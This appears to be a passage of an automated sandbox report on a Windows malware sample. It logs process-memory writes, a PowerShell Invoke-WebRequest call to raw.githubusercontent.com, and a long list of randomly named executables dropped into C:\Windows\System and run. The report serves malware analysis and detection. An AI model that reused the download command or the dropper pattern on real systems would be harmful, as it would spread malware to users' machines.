PID 912 wrote to memory of 3160	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	111
PID 912 wrote to memory of 2508	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	112
PID 912 wrote to memory of 2508	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	112
PID 912 wrote to memory of 1424	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	113
PID 912 wrote to memory of 1424	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	113
PID 912 wrote to memory of 1508	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	114
PID 912 wrote to memory of 1508	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	114
PID 912 wrote to memory of 4632	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	115
PID 912 wrote to memory of 4632	912	f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe	115

C:\Users\Admin\AppData\Local\Temp\f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe
"C:\Users\Admin\AppData\Local\Temp\f8387de351db40c71995b9d376b1d6b341d11a3b4424a35e10026bbeb69d2d3a.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1960
- C:\Windows\System\LcwmeRu.exe
  C:\Windows\System\LcwmeRu.exe
  2⤵
  - Executes dropped EXE
  PID:4904
- C:\Windows\System\AsuXEuK.exe
  C:\Windows\System\AsuXEuK.exe
  2⤵
  - Executes dropped EXE
  PID:2068
- C:\Windows\System\sJAOVYp.exe
  C:\Windows\System\sJAOVYp.exe
  2⤵
  - Executes dropped EXE
  PID:452
- C:\Windows\System\FvoaUvW.exe
  C:\Windows\System\FvoaUvW.exe
  2⤵
  - Executes dropped EXE
  PID:4428
- C:\Windows\System\BXPeOke.exe
  C:\Windows\System\BXPeOke.exe
  2⤵
  - Executes dropped EXE
  PID:2760
- C:\Windows\System\tAijYMk.exe
  C:\Windows\System\tAijYMk.exe
  2⤵
  - Executes dropped EXE
  PID:4772
- C:\Windows\System\UZlWtrO.exe
  C:\Windows\System\UZlWtrO.exe
  2⤵
  - Executes dropped EXE
  PID:3052
- C:\Windows\System\jLeevLY.exe
  C:\Windows\System\jLeevLY.exe
  2⤵
  - Executes dropped EXE
  PID:3256
- C:\Windows\System\hjYZSfm.exe
  C:\Windows\System\hjYZSfm.exe
  2⤵
  - Executes dropped EXE
  PID:1688
- C:\Windows\System\wMJNFQE.exe
  C:\Windows\System\wMJNFQE.exe
  2⤵
  - Executes dropped EXE
  PID:2836
- C:\Windows\System\eznwpgT.exe
  C:\Windows\System\eznwpgT.exe
  2⤵
  - Executes dropped EXE
  PID:1764
- C:\Windows\System\gQBJFEY.exe
  C:\Windows\System\gQBJFEY.exe
  2⤵
  - Executes dropped EXE
  PID:3020
- C:\Windows\System\kBcczOG.exe
  C:\Windows\System\kBcczOG.exe
  2⤵
  - Executes dropped EXE
  PID:4696
- C:\Windows\System\ofrIZBz.exe
  C:\Windows\System\ofrIZBz.exe
  2⤵
  - Executes dropped EXE
  PID:3652
- C:\Windows\System\KfKYyXF.exe
  C:\Windows\System\KfKYyXF.exe
  2⤵
  - Executes dropped EXE
  PID:712
- C:\Windows\System\HYXEqGo.exe
  C:\Windows\System\HYXEqGo.exe
  2⤵
  - Executes dropped EXE
  PID:4404
- C:\Windows\System\uWQpmlL.exe
  C:\Windows\System\uWQpmlL.exe
  2⤵
  - Executes dropped EXE
  PID:4392
- C:\Windows\System\udVEiGP.exe
  C:\Windows\System\udVEiGP.exe
  2⤵
  - Executes dropped EXE
  PID:2816
- C:\Windows\System\Prwvrvb.exe
  C:\Windows\System\Prwvrvb.exe
  2⤵
  - Executes dropped EXE
  PID:3976
- C:\Windows\System\FZKShWt.exe
  C:\Windows\System\FZKShWt.exe
  2⤵
  - Executes dropped EXE
  PID:5116
- C:\Windows\System\DRSKyAD.exe
  C:\Windows\System\DRSKyAD.exe
  2⤵
  - Executes dropped EXE
  PID:348
- C:\Windows\System\GMkADoP.exe
  C:\Windows\System\GMkADoP.exe
  2⤵
  - Executes dropped EXE
  PID:2536
- C:\Windows\System\ewiGRjJ.exe
  C:\Windows\System\ewiGRjJ.exe
  2⤵
  - Executes dropped EXE
  PID:3532
- C:\Windows\System\vMiRerh.exe
  C:\Windows\System\vMiRerh.exe
  2⤵
  - Executes dropped EXE
  PID:3484
- C:\Windows\System\PEhIKiU.exe
  C:\Windows\System\PEhIKiU.exe
  2⤵
  - Executes dropped EXE
  PID:4292
- C:\Windows\System\uUduJNj.exe
  C:\Windows\System\uUduJNj.exe
  2⤵
  - Executes dropped EXE
  PID:3528
- C:\Windows\System\wSlDrXl.exe
  C:\Windows\System\wSlDrXl.exe
  2⤵
  - Executes dropped EXE
  PID:3160
- C:\Windows\System\NCjtyHc.exe
  C:\Windows\System\NCjtyHc.exe
  2⤵
  - Executes dropped EXE
  PID:2508
- C:\Windows\System\qKtNvIw.exe
  C:\Windows\System\qKtNvIw.exe
  2⤵
  - Executes dropped EXE
  PID:1424
- C:\Windows\System\flkJMil.exe
  C:\Windows\System\flkJMil.exe
  2⤵
  - Executes dropped EXE
  PID:1508
- C:\Windows\System\SpoJomd.exe
  C:\Windows\System\SpoJomd.exe
  2⤵
  - Executes dropped EXE
  PID:4632
- C:\Windows\System\jGgeViy.exe
  C:\Windows\System\jGgeViy.exe
  2⤵
  - Executes dropped EXE
  PID:664
- C:\Windows\System\QPrgoSo.exe
  C:\Windows\System\QPrgoSo.exe
  2⤵
  - Executes dropped EXE
  PID:4460
- C:\Windows\System\GvhZszq.exe
  C:\Windows\System\GvhZszq.exe
  2⤵
  - Executes dropped EXE
  PID:3712
- C:\Windows\System\KZRGAZt.exe
  C:\Windows\System\KZRGAZt.exe
  2⤵
  - Executes dropped EXE
  PID:1616
- C:\Windows\System\OGLRbYc.exe
  C:\Windows\System\OGLRbYc.exe
  2⤵
  - Executes dropped EXE
  PID:3460
- C:\Windows\System\ukeMaZR.exe
  C:\Windows\System\ukeMaZR.exe
  2⤵
  - Executes dropped EXE
  PID:4480
- C:\Windows\System\gClwgfT.exe
  C:\Windows\System\gClwgfT.exe
  2⤵
  - Executes dropped EXE
  PID:1736
- C:\Windows\System\TQGLMCJ.exe
  C:\Windows\System\TQGLMCJ.exe
  2⤵
  - Executes dropped EXE
  PID:3284
- C:\Windows\System\LCIbbgp.exe
  C:\Windows\System\LCIbbgp.exe
  2⤵
  - Executes dropped EXE
  PID:4612
- C:\Windows\System\plFRxbG.exe
  C:\Windows\System\plFRxbG.exe
  2⤵
  - Executes dropped EXE
  PID:3516
- C:\Windows\System\kdyRjTX.exe
  C:\Windows\System\kdyRjTX.exe
  2⤵
  - Executes dropped EXE
  PID:3120
- C:\Windows\System\NyXNdTK.exe
  C:\Windows\System\NyXNdTK.exe
  2⤵
  - Executes dropped EXE
  PID:4160
- C:\Windows\System\vaHcshA.exe
  C:\Windows\System\vaHcshA.exe
  2⤵
  - Executes dropped EXE
  PID:4380
- C:\Windows\System\LJYfuls.exe
  C:\Windows\System\LJYfuls.exe
  2⤵
  - Executes dropped EXE
  PID:1576
- C:\Windows\System\paYpHVX.exe
  C:\Windows\System\paYpHVX.exe
  2⤵
  - Executes dropped EXE
  PID:2248
- C:\Windows\System\irqZgwn.exe
  C:\Windows\System\irqZgwn.exe
  2⤵
  - Executes dropped EXE
  PID:1188
- C:\Windows\System\APPvkBi.exe
  C:\Windows\System\APPvkBi.exe
  2⤵
  - Executes dropped EXE
  PID:4992
- C:\Windows\System\TZLugeI.exe
  C:\Windows\System\TZLugeI.exe
  2⤵
  - Executes dropped EXE
  PID:2876
- C:\Windows\System\uUjgMsm.exe
  C:\Windows\System\uUjgMsm.exe
  2⤵
  - Executes dropped EXE
  PID:2620
- C:\Windows\System\bJKGJVa.exe
  C:\Windows\System\bJKGJVa.exe
  2⤵
  - Executes dropped EXE
  PID:1488
- C:\Windows\System\jZSOqYg.exe
  C:\Windows\System\jZSOqYg.exe
  2⤵
  - Executes dropped EXE
  PID:2528
- C:\Windows\System\wfsYYkE.exe
  C:\Windows\System\wfsYYkE.exe
  2⤵
  - Executes dropped EXE
  PID:4976
- C:\Windows\System\CagYheV.exe
  C:\Windows\System\CagYheV.exe
  2⤵
  - Executes dropped EXE
  PID:1100
- C:\Windows\System\lubRhdE.exe
  C:\Windows\System\lubRhdE.exe
  2⤵
  - Executes dropped EXE
  PID:1936
- C:\Windows\System\oUyrXJV.exe
  C:\Windows\System\oUyrXJV.exe
  2⤵
  - Executes dropped EXE
  PID:3492
- C:\Windows\System\OXFIZDS.exe
  C:\Windows\System\OXFIZDS.exe
  2⤵
  - Executes dropped EXE
  PID:4044
- C:\Windows\System\dWwxkJn.exe
  C:\Windows\System\dWwxkJn.exe
  2⤵
  - Executes dropped EXE
  PID:2036
- C:\Windows\System\XKDDwmx.exe
  C:\Windows\System\XKDDwmx.exe
  2⤵
  - Executes dropped EXE
  PID:668
- C:\Windows\System\fUEUJpv.exe
  C:\Windows\System\fUEUJpv.exe
  2⤵
  - Executes dropped EXE
  PID:3760
- C:\Windows\System\KCQHZMo.exe
  C:\Windows\System\KCQHZMo.exe
  2⤵
  - Executes dropped EXE
  PID:4308
- C:\Windows\System\JulYEJw.exe
  C:\Windows\System\JulYEJw.exe
  2⤵
  - Executes dropped EXE
  PID:2656
- C:\Windows\System\BKVinzs.exe
  C:\Windows\System\BKVinzs.exe
  2⤵
  - Executes dropped EXE
  PID:2352
- C:\Windows\System\FbvEsja.exe
  C:\Windows\System\FbvEsja.exe
  2⤵
  - Executes dropped EXE
  PID:3656
- C:\Windows\System\VTcKNwn.exe
  C:\Windows\System\VTcKNwn.exe
  2⤵
  PID:2184
- C:\Windows\System\gakfyrU.exe
  C:\Windows\System\gakfyrU.exe
  2⤵
  PID:3024
- C:\Windows\System\oLnDiEO.exe
  C:\Windows\System\oLnDiEO.exe
  2⤵
  PID:3128
- C:\Windows\System\gFXhOvf.exe
  C:\Windows\System\gFXhOvf.exe
  2⤵
  PID:3672
- C:\Windows\System\glUyzsq.exe
  C:\Windows\System\glUyzsq.exe
  2⤵
  PID:4028
- C:\Windows\System\lVyVxjF.exe
  C:\Windows\System\lVyVxjF.exe
  2⤵
  PID:3200
- C:\Windows\System\VUmTJXz.exe
  C:\Windows\System\VUmTJXz.exe
  2⤵
  PID:2972
- C:\Windows\System\kBviSly.exe
  C:\Windows\System\kBviSly.exe
  2⤵
  PID:1412
- C:\Windows\System\KNFeNVr.exe
  C:\Windows\System\KNFeNVr.exe
  2⤵
  PID:2964
- C:\Windows\System\EyYEkiF.exe
  C:\Windows\System\EyYEkiF.exe
  2⤵
  PID:2716
- C:\Windows\System\CuRezGG.exe
  C:\Windows\System\CuRezGG.exe
  2⤵
  PID:332
- C:\Windows\System\ycBnmOU.exe
  C:\Windows\System\ycBnmOU.exe
  2⤵
  PID:2884
- C:\Windows\System\GiYILnw.exe
  C:\Windows\System\GiYILnw.exe
  2⤵
  PID:4296
- C:\Windows\System\JfzHJOD.exe
  C:\Windows\System\JfzHJOD.exe
  2⤵
  PID:3640
- C:\Windows\System\IrKMcIw.exe
  C:\Windows\System\IrKMcIw.exe
  2⤵
  PID:2064
- C:\Windows\System\eJtwAkL.exe
  C:\Windows\System\eJtwAkL.exe
  2⤵
  PID:512
- C:\Windows\System\XnuZduo.exe
  C:\Windows\System\XnuZduo.exe
  2⤵
  PID:4828
- C:\Windows\System\fZIhmzV.exe
  C:\Windows\System\fZIhmzV.exe
  2⤵
  PID:3616
- C:\Windows\System\xOKEEcB.exe
  C:\Windows\System\xOKEEcB.exe
  2⤵
  PID:380
- C:\Windows\System\Nwicxfg.exe
  C:\Windows\System\Nwicxfg.exe
  2⤵
  PID:4996
- C:\Windows\System\ugCPVml.exe
  C:\Windows\System\ugCPVml.exe
  2⤵
  PID:2128
- C:\Windows\System\wHCzlYt.exe
  C:\Windows\System\wHCzlYt.exe
  2⤵
  PID:1680
- C:\Windows\System\utOESCU.exe
  C:\Windows\System\utOESCU.exe
  2⤵
  PID:4228
- C:\Windows\System\wtbXnUT.exe
  C:\Windows\System\wtbXnUT.exe
  2⤵
  PID:860
- C:\Windows\System\oahGqoe.exe
  C:\Windows\System\oahGqoe.exe
  2⤵
  PID:4328
- C:\Windows\System\LBlYoHB.exe
  C:\Windows\System\LBlYoHB.exe
  2⤵
  PID:4860
- C:\Windows\System\uhGshEt.exe
  C:\Windows\System\uhGshEt.exe
  2⤵
  PID:5136
- C:\Windows\System\iseVIZr.exe
  C:\Windows\System\iseVIZr.exe
  2⤵
  PID:5156
- C:\Windows\System\AeJfPQV.exe
  C:\Windows\System\AeJfPQV.exe
  2⤵
  PID:5184
- C:\Windows\System\kYPmSrS.exe
  C:\Windows\System\kYPmSrS.exe
  2⤵
  PID:5212
- C:\Windows\System\GniOKql.exe
  C:\Windows\System\GniOKql.exe
  2⤵
  PID:5248
- C:\Windows\System\RpVukGX.exe
  C:\Windows\System\RpVukGX.exe
  2⤵
  PID:5268
- C:\Windows\System\MQREJPU.exe
  C:\Windows\System\MQREJPU.exe
  2⤵
  PID:5304
- C:\Windows\System\tzbCZNV.exe
  C:\Windows\System\tzbCZNV.exe
  2⤵
  PID:5336
- C:\Windows\System\eiEhpNK.exe
  C:\Windows\System\eiEhpNK.exe
  2⤵
  PID:5360
- C:\Windows\System\gyJdQkh.exe
  C:\Windows\System\gyJdQkh.exe
  2⤵
  PID:5380
- C:\Windows\System\GKNrVDU.exe
  C:\Windows\System\GKNrVDU.exe
  2⤵
  PID:5396
- C:\Windows\System\PlkWFwz.exe
  C:\Windows\System\PlkWFwz.exe
  2⤵
  PID:5428
- C:\Windows\System\cXPthXc.exe
  C:\Windows\System\cXPthXc.exe
  2⤵
  PID:5460
- C:\Windows\System\DToshZY.exe
  C:\Windows\System\DToshZY.exe
  2⤵
  PID:5488
- C:\Windows\System\SYHwlOY.exe
  C:\Windows\System\SYHwlOY.exe
  2⤵
  PID:5512
- C:\Windows\System\NgaUMjf.exe
  C:\Windows\System\NgaUMjf.exe
  2⤵
  PID:5556
- C:\Windows\System\xHLvVOs.exe
  C:\Windows\System\xHLvVOs.exe
  2⤵
  PID:5584
- C:\Windows\System\FOXJWsy.exe
  C:\Windows\System\FOXJWsy.exe
  2⤵
  PID:5604
- C:\Windows\System\otHxWCy.exe
  C:\Windows\System\otHxWCy.exe
  2⤵
  PID:5628
- C:\Windows\System\HZIyEXM.exe
  C:\Windows\System\HZIyEXM.exe
  2⤵
  PID:5652
- C:\Windows\System\WBsplkK.exe
  C:\Windows\System\WBsplkK.exe
  2⤵
  PID:5700
- C:\Windows\System\guTeHpU.exe
  C:\Windows\System\guTeHpU.exe
  2⤵
  PID:5728
- C:\Windows\System\mczrbiV.exe
  C:\Windows\System\mczrbiV.exe
  2⤵
  PID:5748
- C:\Windows\System\xHimgFs.exe
  C:\Windows\System\xHimgFs.exe
  2⤵
  PID:5784
- C:\Windows\System\RCsUHyk.exe
  C:\Windows\System\RCsUHyk.exe
  2⤵
  PID:5816
- C:\Windows\System\NytxRFP.exe
  C:\Windows\System\NytxRFP.exe
  2⤵
  PID:5848
- C:\Windows\System\ILGYpvF.exe
  C:\Windows\System\ILGYpvF.exe
  2⤵
  PID:5876
- C:\Windows\System\mzQoSuG.exe
  C:\Windows\System\mzQoSuG.exe
  2⤵
  PID:5896
- C:\Windows\System\ZfbhzJY.exe
  C:\Windows\System\ZfbhzJY.exe
  2⤵
  PID:5932
- C:\Windows\System\ATHLddf.exe
  C:\Windows\System\ATHLddf.exe
  2⤵
  PID:5960
- C:\Windows\System\ilqpiqd.exe
  C:\Windows\System\ilqpiqd.exe
  2⤵
  PID:5992
- C:\Windows\System\YAmKltE.exe
  C:\Windows\System\YAmKltE.exe
  2⤵
  PID:6016
- C:\Windows\System\pWlbYZI.exe
  C:\Windows\System\pWlbYZI.exe
  2⤵
  PID:6052
- C:\Windows\System\sznjUwf.exe
  C:\Windows\System\sznjUwf.exe
  2⤵
  PID:6088
- C:\Windows\System\kdomBMK.exe
  C:\Windows\System\kdomBMK.exe
  2⤵
  PID:6112
- C:\Windows\System\qthvjqz.exe
  C:\Windows\System\qthvjqz.exe
  2⤵
  PID:5128
- C:\Windows\System\HOlfhyf.exe
  C:\Windows\System\HOlfhyf.exe
  2⤵
  PID:5196
- C:\Windows\System\IbCbeBW.exe
  C:\Windows\System\IbCbeBW.exe
  2⤵
  PID:5264
- C:\Windows\System\saECNke.exe
  C:\Windows\System\saECNke.exe
  2⤵
  PID:5328
- C:\Windows\System\iCpxXJw.exe
  C:\Windows\System\iCpxXJw.exe
  2⤵
  PID:5404
- C:\Windows\System\PetTjME.exe
  C:\Windows\System\PetTjME.exe
  2⤵
  PID:5472
- C:\Windows\System\ksEltOW.exe
  C:\Windows\System\ksEltOW.exe
  2⤵
  PID:5528
- C:\Windows\System\CnMksTf.exe
  C:\Windows\System\CnMksTf.exe
  2⤵
  PID:5592
- C:\Windows\System\JCLAwLp.exe
  C:\Windows\System\JCLAwLp.exe
  2⤵
  PID:5692
- C:\Windows\System\PCMvjAn.exe
  C:\Windows\System\PCMvjAn.exe
  2⤵
  PID:5780
- C:\Windows\System\bleFZKK.exe
  C:\Windows\System\bleFZKK.exe
  2⤵
  PID:5864
- C:\Windows\System\QMLHCii.exe
  C:\Windows\System\QMLHCii.exe
  2⤵
  PID:5924
- C:\Windows\System\axFZzzc.exe
  C:\Windows\System\axFZzzc.exe
  2⤵
  PID:5980
- C:\Windows\System\cfrnITn.exe
  C:\Windows\System\cfrnITn.exe
  2⤵
  PID:6060
- C:\Windows\System\EEedNWo.exe
  C:\Windows\System\EEedNWo.exe
  2⤵
  PID:6104
- C:\Windows\System\iyyGwPv.exe
  C:\Windows\System\iyyGwPv.exe
  2⤵
  PID:5296
- C:\Windows\System\TukCIpa.exe
  C:\Windows\System\TukCIpa.exe
  2⤵
  PID:5452
- C:\Windows\System\nvWMXQG.exe
  C:\Windows\System\nvWMXQG.exe
  2⤵
  PID:5568
- C:\Windows\System\ixqeNhs.exe
  C:\Windows\System\ixqeNhs.exe
  2⤵
  PID:5768
- C:\Windows\System\QAZqeRs.exe
  C:\Windows\System\QAZqeRs.exe
  2⤵
  PID:5892
- C:\Windows\System\pnSRibA.exe
  C:\Windows\System\pnSRibA.exe
  2⤵
  PID:5972
- C:\Windows\System\yRDjqcw.exe
  C:\Windows\System\yRDjqcw.exe
  2⤵
  PID:5544
- C:\Windows\System\YmHLbuX.exe
  C:\Windows\System\YmHLbuX.exe
  2⤵
  PID:5724
- C:\Windows\System\WIiykYR.exe
  C:\Windows\System\WIiykYR.exe
  2⤵
  PID:6040
- C:\Windows\System\fqybBXt.exe
  C:\Windows\System\fqybBXt.exe
  2⤵
  PID:6076
- C:\Windows\System\iLfnpLS.exe
  C:\Windows\System\iLfnpLS.exe
  2⤵
  PID:6164
- C:\Windows\System\gzjHlYp.exe
  C:\Windows\System\gzjHlYp.exe
  2⤵
  PID:6192
- C:\Windows\System\ovKeQkD.exe
  C:\Windows\System\ovKeQkD.exe
  2⤵
  PID:6224
- C:\Windows\System\HUgIyMs.exe
  C:\Windows\System\HUgIyMs.exe
  2⤵
  PID:6248
- C:\Windows\System\dtdsGNy.exe
  C:\Windows\System\dtdsGNy.exe
  2⤵
  PID:6268
- C:\Windows\System\fPLCREM.exe
  C:\Windows\System\fPLCREM.exe
  2⤵
  PID:6296
- C:\Windows\System\NcBHzAL.exe
  C:\Windows\System\NcBHzAL.exe
  2⤵
  PID:6332
- C:\Windows\System\VOLvmJz.exe
  C:\Windows\System\VOLvmJz.exe
  2⤵
  PID:6352
- C:\Windows\System\mRdousN.exe
  C:\Windows\System\mRdousN.exe
  2⤵
  PID:6376
- C:\Windows\System\ZiCEYcK.exe
  C:\Windows\System\ZiCEYcK.exe
  2⤵
  PID:6420
- C:\Windows\System\dwRMtCD.exe
  C:\Windows\System\dwRMtCD.exe
  2⤵
  PID:6444
- C:\Windows\System\rOXFLaB.exe
  C:\Windows\System\rOXFLaB.exe
  2⤵
  PID:6480
- C:\Windows\System\fciiGIw.exe
  C:\Windows\System\fciiGIw.exe
  2⤵
  PID:6512
- C:\Windows\System\JmQVPlg.exe
  C:\Windows\System\JmQVPlg.exe
  2⤵
  PID:6544
- C:\Windows\System\YJGJkBc.exe
  C:\Windows\System\YJGJkBc.exe
  2⤵
  PID:6564
- C:\Windows\System\pPvJDbm.exe
  C:\Windows\System\pPvJDbm.exe
  2⤵
  PID:6592
- C:\Windows\System\WBVlTNZ.exe
  C:\Windows\System\WBVlTNZ.exe
  2⤵
  PID:6620
- C:\Windows\System\NuTRUjg.exe
  C:\Windows\System\NuTRUjg.exe
  2⤵
  PID:6656
- C:\Windows\System\guBPbwF.exe
  C:\Windows\System\guBPbwF.exe
  2⤵
  PID:6684
- C:\Windows\System\UgVBsah.exe
  C:\Windows\System\UgVBsah.exe
  2⤵
  PID:6712
- C:\Windows\System\wwmHhps.exe
  C:\Windows\System\wwmHhps.exe
  2⤵
  PID:6744
- C:\Windows\System\zRlOXNo.exe
  C:\Windows\System\zRlOXNo.exe
  2⤵
  PID:6772
- C:\Windows\System\rThlDaq.exe
  C:\Windows\System\rThlDaq.exe
  2⤵
  PID:6800
- C:\Windows\System\VJRfkSh.exe
  C:\Windows\System\VJRfkSh.exe
  2⤵
  PID:6832
- C:\Windows\System\SrcVzDM.exe
  C:\Windows\System\SrcVzDM.exe
  2⤵
  PID:6852
- C:\Windows\System\ZmCfzMn.exe
  C:\Windows\System\ZmCfzMn.exe
  2⤵
  PID:6888
- C:\Windows\System\xGxorXJ.exe
  C:\Windows\System\xGxorXJ.exe
  2⤵
  PID:6924
- C:\Windows\System\zrHrVtP.exe
  C:\Windows\System\zrHrVtP.exe
  2⤵
  PID:6956
- C:\Windows\System\tIANSKs.exe
  C:\Windows\System\tIANSKs.exe
  2⤵
  PID:6980
- C:\Windows\System\bWQUnqt.exe
  C:\Windows\System\bWQUnqt.exe
  2⤵
  PID:7012
- C:\Windows\System\VMPiSfn.exe
  C:\Windows\System\VMPiSfn.exe
  2⤵
  PID:7032
- C:\Windows\System\GjCwBXq.exe
  C:\Windows\System\GjCwBXq.exe
  2⤵
  PID:7064
- C:\Windows\System\OIhHfDw.exe
  C:\Windows\System\OIhHfDw.exe
  2⤵
  PID:7088
- C:\Windows\System\ThjsfxS.exe
  C:\Windows\System\ThjsfxS.exe
  2⤵
  PID:7116
- C:\Windows\System\DGbGpLQ.exe
  C:\Windows\System\DGbGpLQ.exe
  2⤵
  PID:7144
- C:\Windows\System\JEiWJIe.exe
  C:\Windows\System\JEiWJIe.exe
  2⤵
  PID:5576
- C:\Windows\System\lLqysoH.exe
  C:\Windows\System\lLqysoH.exe
  2⤵
  PID:6204
- C:\Windows\System\dtgaeEq.exe
  C:\Windows\System\dtgaeEq.exe
  2⤵
  PID:6256
- C:\Windows\System\TOXjkHl.exe
  C:\Windows\System\TOXjkHl.exe
  2⤵
  PID:6344
- C:\Windows\System\LbmegxS.exe
  C:\Windows\System\LbmegxS.exe
  2⤵
  PID:6396
- C:\Windows\System\qJPRoPS.exe
  C:\Windows\System\qJPRoPS.exe
  2⤵
  PID:6476
- C:\Windows\System\JlxhbFL.exe
  C:\Windows\System\JlxhbFL.exe
  2⤵
  PID:6532
- C:\Windows\System\zEaesax.exe
  C:\Windows\System\zEaesax.exe
  2⤵
  PID:6588
- C:\Windows\System\KXZqtCY.exe
  C:\Windows\System\KXZqtCY.exe
  2⤵
  PID:6664
- C:\Windows\System\jvmdkLr.exe
  C:\Windows\System\jvmdkLr.exe
  2⤵
  PID:6732
- C:\Windows\System\IyyiXix.exe
  C:\Windows\System\IyyiXix.exe
  2⤵
  PID:6812
- C:\Windows\System\NozWhfS.exe
  C:\Windows\System\NozWhfS.exe
  2⤵
  PID:6884
- C:\Windows\System\yqhTRsA.exe
  C:\Windows\System\yqhTRsA.exe
  2⤵
  PID:6964
- C:\Windows\System\YEjVrLe.exe
  C:\Windows\System\YEjVrLe.exe
  2⤵
  PID:7000
- C:\Windows\System\wXFDTDW.exe
  C:\Windows\System\wXFDTDW.exe
  2⤵
  PID:7072
- C:\Windows\System\xWFREcN.exe
  C:\Windows\System\xWFREcN.exe
  2⤵
  PID:7128
- C:\Windows\System\WmJalEE.exe
  C:\Windows\System\WmJalEE.exe
  2⤵
  PID:6180
- C:\Windows\System\wuUiSIJ.exe
  C:\Windows\System\wuUiSIJ.exe
  2⤵
  PID:6324
- C:\Windows\System\WngtnMi.exe
  C:\Windows\System\WngtnMi.exe
  2⤵
  PID:6068
- C:\Windows\System\srUYZLz.exe
  C:\Windows\System\srUYZLz.exe
  2⤵
  PID:6648
- C:\Windows\System\qdmVcio.exe
  C:\Windows\System\qdmVcio.exe
  2⤵
  PID:6828
- C:\Windows\System\BGoVxJg.exe
  C:\Windows\System\BGoVxJg.exe
  2⤵
  PID:6972
- C:\Windows\System\JaOSXxx.exe
  C:\Windows\System\JaOSXxx.exe
  2⤵
  PID:7108
- C:\Windows\System\gUJglhD.exe
  C:\Windows\System\gUJglhD.exe
  2⤵
  PID:6668
- C:\Windows\System\CjjHfvk.exe
  C:\Windows\System\CjjHfvk.exe
  2⤵
  PID:6724
- C:\Windows\System\JDLRBkk.exe
  C:\Windows\System\JDLRBkk.exe
  2⤵
  PID:7052
- C:\Windows\System\coVLMqB.exe
  C:\Windows\System\coVLMqB.exe
  2⤵
  PID:6584
- C:\Windows\System\RmJMXpp.exe
  C:\Windows\System\RmJMXpp.exe
  2⤵
  PID:7024
- C:\Windows\System\hwGbfzJ.exe
  C:\Windows\System\hwGbfzJ.exe
  2⤵
  PID:7200
- C:\Windows\System\jPJDWFj.exe
  C:\Windows\System\jPJDWFj.exe
  2⤵
  PID:7228
- C:\Windows\System\CneSfIR.exe
  C:\Windows\System\CneSfIR.exe
  2⤵
  PID:7260
- C:\Windows\System\tgAeBRQ.exe
  C:\Windows\System\tgAeBRQ.exe
  2⤵
  PID:7288
- C:\Windows\System\FMDflxM.exe
  C:\Windows\System\FMDflxM.exe
  2⤵
  PID:7320
- C:\Windows\System\mPMWEag.exe
  C:\Windows\System\mPMWEag.exe
  2⤵
  PID:7340
- C:\Windows\System\oJkLkZY.exe
  C:\Windows\System\oJkLkZY.exe
  2⤵
  PID:7372
- C:\Windows\System\LbzqeDb.exe
  C:\Windows\System\LbzqeDb.exe
  2⤵
  PID:7400
- C:\Windows\System\GgIJkNz.exe
  C:\Windows\System\GgIJkNz.exe
  2⤵
  PID:7436
- C:\Windows\System\OyFOhAv.exe
  C:\Windows\System\OyFOhAv.exe
  2⤵
  PID:7460
- C:\Windows\System\zwqebjC.exe
  C:\Windows\System\zwqebjC.exe
  2⤵
  PID:7488
- C:\Windows\System\KMtNPPW.exe
  C:\Windows\System\KMtNPPW.exe
  2⤵
  PID:7520
- C:\Windows\System\WhnvEDG.exe
  C:\Windows\System\WhnvEDG.exe
  2⤵
  PID:7548
- C:\Windows\System\vgzqXrQ.exe
  C:\Windows\System\vgzqXrQ.exe
  2⤵
  PID:7604
- C:\Windows\System\nuoibMH.exe
  C:\Windows\System\nuoibMH.exe
  2⤵
  PID:7620
- C:\Windows\System\EbvOvWZ.exe
  C:\Windows\System\EbvOvWZ.exe
  2⤵
  PID:7648
- C:\Windows\System\PWwhXXF.exe
  C:\Windows\System\PWwhXXF.exe
  2⤵
  PID:7680
- C:\Windows\System\HOJhsJC.exe
  C:\Windows\System\HOJhsJC.exe
  2⤵
  PID:7716
- C:\Windows\System\hjBbrTx.exe
  C:\Windows\System\hjBbrTx.exe
  2⤵
  PID:7740
- C:\Windows\System\FrYsLeu.exe
  C:\Windows\System\FrYsLeu.exe
  2⤵
  PID:7764
- C:\Windows\System\tmvwBBf.exe
  C:\Windows\System\tmvwBBf.exe
  2⤵
  PID:7788
- C:\Windows\System\FIxCtkE.exe
  C:\Windows\System\FIxCtkE.exe
  2⤵
  PID:7816
- C:\Windows\System\lEfHFzo.exe
  C:\Windows\System\lEfHFzo.exe
  2⤵
  PID:7848
- C:\Windows\System\gTnHAur.exe
  C:\Windows\System\gTnHAur.exe
  2⤵
  PID:7876
- C:\Windows\System\cUIRBEc.exe
  C:\Windows\System\cUIRBEc.exe
  2⤵
  PID:7904
- C:\Windows\System\HNszEut.exe
  C:\Windows\System\HNszEut.exe
  2⤵
  PID:7932
- C:\Windows\System\VEjzyGT.exe
  C:\Windows\System\VEjzyGT.exe
  2⤵
  PID:7972
- C:\Windows\System\XgkmNzI.exe
  C:\Windows\System\XgkmNzI.exe
  2⤵
  PID:7988
- C:\Windows\System\KKcjFZs.exe
  C:\Windows\System\KKcjFZs.exe
  2⤵
  PID:8016
- C:\Windows\System\HFUwIqt.exe
  C:\Windows\System\HFUwIqt.exe
  2⤵
  PID:8048
- C:\Windows\System\tZIQyWq.exe
  C:\Windows\System\tZIQyWq.exe
  2⤵
  PID:8072
- C:\Windows\System\JnMXrOn.exe
  C:\Windows\System\JnMXrOn.exe
  2⤵
  PID:8100
